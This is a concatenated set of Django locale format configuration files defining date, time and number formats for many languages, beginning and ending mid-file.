    '%d. %m. %y %H:%M:%S',          # '25. 10. 06 14:30:59'
    '%d. %m. %y %H:%M:%S.%f',       # '25. 10. 06 14:30:59.000200'
    '%d. %m. %y %H:%M',             # '25. 10. 06 14:30'
    '%d. %m. %y',                   # '25. 10. 06'
]

DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F، Y'
TIME_FORMAT = 'g:i A'
# DATETIME_FORMAT =
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd‏/m‏/Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'Y年n月j日'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'Y年n月j日G:i'
YEAR_MONTH_FORMAT = 'Y年n月'
MONTH_DAY_FORMAT = 'n月j日'
SHORT_DATE_FORMAT = 'Y/m/d'
SHORT_DATETIME_FORMAT = 'Y/m/d G:i'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',     # '25.10.2006', '25.10.06'
    # '%d. %B %Y', '%d. %b. %Y',  # '25. October 2006', '25. Oct. 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',    # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',       # '25.10.2006 14:30'
    '%d.%m.%Y',             # '25.10.2006'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%d.%m.%Y', '%d.%m.%y',  # '2006-10-25', '25.10.2006', '25.10.06'
    # '%d. %b %Y', '%d %b %Y',            # '25. okt 2006', '25 okt 2006'
    # '%d. %b. %Y', '%d %b. %Y',          # '25. okt. 2006', '25 okt. 2006'
    # '%d. %B %Y', '%d %B %Y',            # '25. oktober 2006', '25 oktober 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%Y-%m-%d',              # '2006-10-25'
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y',              # '25.10.06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y à\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 0  # Sunday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%d/%m/%Y', '%d/%m/%y',   # '2006-10-25', '25/10/2006', '25/10/06'
    # '%d de %b de %Y', '%d de %b, %Y',   # '25 de Out de 2006', '25 Out, 2006'
    # '%d de %B de %Y', '%d de %B, %Y',   # '25 de Outubro de 2006', '25 de Outubro, 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%d/%m/%Y %H:%M:%S',     # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',  # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',        # '25/10/2006 14:30'
    '%d/%m/%Y',              # '25/10/2006'
    '%d/%m/%y %H:%M:%S',     # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',  # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',        # '25/10/06 14:30'
    '%d/%m/%y',              # '25/10/06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#

from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j E Y р.'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j E Y р. H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
# SHORT_DATETIME_FORMAT =
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = ' '
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'N j, Y'
TIME_FORMAT = 'P'
DATETIME_FORMAT = 'N j, Y, P'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'F j'
SHORT_DATE_FORMAT = 'm/d/Y'
SHORT_DATETIME_FORMAT = 'm/d/Y P'
FIRST_DAY_OF_WEEK = 0  # Sunday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y',  # '2006-10-25', '10/25/2006', '10/25/06'
    # '%b %d %Y', '%b %d, %Y',            # 'Oct 25 2006', 'Oct 25, 2006'
    # '%d %b %Y', '%d %b, %Y',            # '25 Oct 2006', '25 Oct, 2006'
    # '%B %d %Y', '%B %d, %Y',            # 'October 25 2006', 'October 25, 2006'
    # '%d %B %Y', '%d %B, %Y',            # '25 October 2006', '25 October, 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%m/%d/%Y %H:%M:%S',     # '10/25/2006 14:30:59'
    '%m/%d/%Y %H:%M:%S.%f',  # '10/25/2006 14:30:59.000200'
    '%m/%d/%Y %H:%M',        # '10/25/2006 14:30'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y %H:%M:%S',     # '10/25/06 14:30:59'
    '%m/%d/%y %H:%M:%S.%f',  # '10/25/06 14:30:59.000200'
    '%m/%d/%y %H:%M',        # '10/25/06 14:30'
    '%m/%d/%y',              # '10/25/06'
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'                   # '25 Hydref 2006'
TIME_FORMAT = 'P'                       # '2:30 y.b.'
DATETIME_FORMAT = 'j F Y, P'            # '25 Hydref 2006, 2:30 y.b.'
YEAR_MONTH_FORMAT = 'F Y'               # 'Hydref 2006'
MONTH_DAY_FORMAT = 'j F'                # '25 Hydref'
SHORT_DATE_FORMAT = 'd/m/Y'             # '25/10/2006'
SHORT_DATETIME_FORMAT = 'd/m/Y P'       # '25/10/2006 2:30 y.b.'
FIRST_DAY_OF_WEEK = 1                   # 'Dydd Llun'

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',             # '25/10/2006', '25/10/06'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',                # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',             # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',                   # '2006-10-25 14:30'
    '%Y-%m-%d',                         # '2006-10-25'
    '%d/%m/%Y %H:%M:%S',                # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',             # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',                   # '25/10/2006 14:30'
    '%d/%m/%Y',                         # '25/10/2006'
    '%d/%m/%y %H:%M:%S',                # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',             # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',                   # '25/10/06 14:30'
    '%d/%m/%y',                         # '25/10/06'
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd/m/Y'
TIME_FORMAT = 'P'
DATETIME_FORMAT = 'd/m/Y P'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y P'
FIRST_DAY_OF_WEEK = 0  # Sunday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y', '%Y-%m-%d',  # '25/10/2006', '25/10/06', '2006-10-25',
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',     # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',  # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',        # '25/10/2006 14:30'
    '%d/%m/%Y',              # '25/10/2006'
    '%d/%m/%y %H:%M:%S',     # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',  # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',        # '25/10/06 14:30'
    '%d/%m/%y',              # '25/10/06'
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'Y. \g\a\d\a j. F'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'Y. \g\a\d\a j. F, H:i'
YEAR_MONTH_FORMAT = r'Y. \g. F'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = r'j.m.Y'
SHORT_DATETIME_FORMAT = 'j.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%d.%m.%Y', '%d.%m.%y',  # '2006-10-25', '25.10.2006', '25.10.06'
]
TIME_INPUT_FORMATS = [
    '%H:%M:%S',     # '14:30:59'
    '%H:%M:%S.%f',  # '14:30:59.000200'
    '%H:%M',        # '14:30'
    '%H.%M.%S',     # '14.30.59'
    '%H.%M.%S.%f',  # '14.30.59.000200'
    '%H.%M',        # '14.30'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y %H.%M.%S',     # '25.10.06 14.30.59'
    '%d.%m.%y %H.%M.%S.%f',  # '25.10.06 14.30.59.000200'
    '%d.%m.%y %H.%M',        # '25.10.06 14.30'
    '%d.%m.%y',              # '25.10.06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = ' '  # Non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd F Y'
TIME_FORMAT = 'g:i A'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
# MONTH_DAY_FORMAT =
SHORT_DATE_FORMAT = 'j M Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
# DECIMAL_SEPARATOR =
# THOUSAND_SEPARATOR =
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j. F Y G:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y G:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',     # '25.10.2006', '25.10.06'
    '%y-%m-%d',                 # '06-10-25'
    # '%d. %B %Y', '%d. %b. %Y',  # '25. October 2006', '25. Oct. 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'Y. F j.'
TIME_FORMAT = 'G.i'
DATETIME_FORMAT = 'Y. F j. G.i'
YEAR_MONTH_FORMAT = 'Y. F'
MONTH_DAY_FORMAT = 'F j.'
SHORT_DATE_FORMAT = 'Y.m.d.'
SHORT_DATETIME_FORMAT = 'Y.m.d. G.i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%Y.%m.%d.',  # '2006.10.25.'
]
TIME_INPUT_FORMATS = [
    '%H.%M.%S',  # '14.30.59'
    '%H.%M',    # '14.30'
]
DATETIME_INPUT_FORMATS = [
    '%Y.%m.%d. %H.%M.%S',   # '2006.10.25. 14.30.59'
    '%Y.%m.%d. %H.%M.%S.%f',  # '2006.10.25. 14.30.59.000200'
    '%Y.%m.%d. %H.%M',      # '2006.10.25. 14.30'
    '%Y.%m.%d.',            # '2006.10.25.'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = ' '  # Non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'Y-m-d'
SHORT_DATETIME_FORMAT = 'Y-m-d H:i'
FIRST_DAY_OF_WEEK = 1

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d',              # '2006-10-25'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y',              # '10/25/06'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%m/%d/%Y %H:%M:%S',     # '10/25/2006 14:30:59'
    '%m/%d/%Y %H:%M:%S.%f',  # '10/25/2006 14:30:59.000200'
    '%m/%d/%Y %H:%M',        # '10/25/2006 14:30'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y %H:%M:%S',     # '10/25/06 14:30:59'
    '%m/%d/%y %H:%M:%S.%f',  # '10/25/06 14:30:59.000200'
    '%m/%d/%y %H:%M',        # '10/25/06 14:30'
    '%m/%d/%y',              # '10/25/06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j E Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j E Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd-m-Y'
SHORT_DATETIME_FORMAT = 'd-m-Y  H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',     # '25.10.2006', '25.10.06'
    '%y-%m-%d',                 # '06-10-25'
    # '%d. %B %Y', '%d. %b. %Y',  # '25. October 2006', '25. Oct. 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = ' '
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
# DATE_FORMAT =
# TIME_FORMAT =
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
# MONTH_DAY_FORMAT =
# SHORT_DATE_FORMAT =
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
# DECIMAL_SEPARATOR =
# THOUSAND_SEPARATOR =
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F, Y'
TIME_FORMAT = 'g:i A'
# DATETIME_FORMAT =
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M, Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'h:ia'
DATETIME_FORMAT = 'j F Y h:ia'
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
SHORT_DATETIME_FORMAT = 'j M Y h:ia'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y à\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 0  # Sunday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',  # '25/10/2006', '25/10/06'
    # '%d de %b de %Y', '%d de %b, %Y',   # '25 de Out de 2006', '25 Out, 2006'
    # '%d de %B de %Y', '%d de %B, %Y',   # '25 de Outubro de 2006', '25 de Outubro, 2006'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',     # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',  # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',        # '25/10/2006 14:30'
    '%d/%m/%Y',              # '25/10/2006'
    '%d/%m/%y %H:%M:%S',     # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',  # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',        # '25/10/06 14:30'
    '%d/%m/%y',              # '25/10/06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'\N\gà\y d \t\há\n\g n \nă\m Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'H:i \N\gà\y d \t\há\n\g n \nă\m Y'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd-m-Y'
SHORT_DATETIME_FORMAT = 'H:i d-m-Y'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'Y年n月j日'                # 2016年9月5日
TIME_FORMAT = 'H:i'                     # 20:45
DATETIME_FORMAT = 'Y年n月j日 H:i'        # 2016年9月5日 20:45
YEAR_MONTH_FORMAT = 'Y年n月'             # 2016年9月
MONTH_DAY_FORMAT = 'm月j日'              # 9月5日
SHORT_DATE_FORMAT = 'Y年n月j日'          # 2016年9月5日
SHORT_DATETIME_FORMAT = 'Y年n月j日 H:i'  # 2016年9月5日 20:45
FIRST_DAY_OF_WEEK = 1                   # 星期一 (Monday)

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%Y/%m/%d',     # '2016/09/05'
    '%Y-%m-%d',     # '2016-09-05'
    '%Y年%n月%j日',  # '2016年9月5日'
]

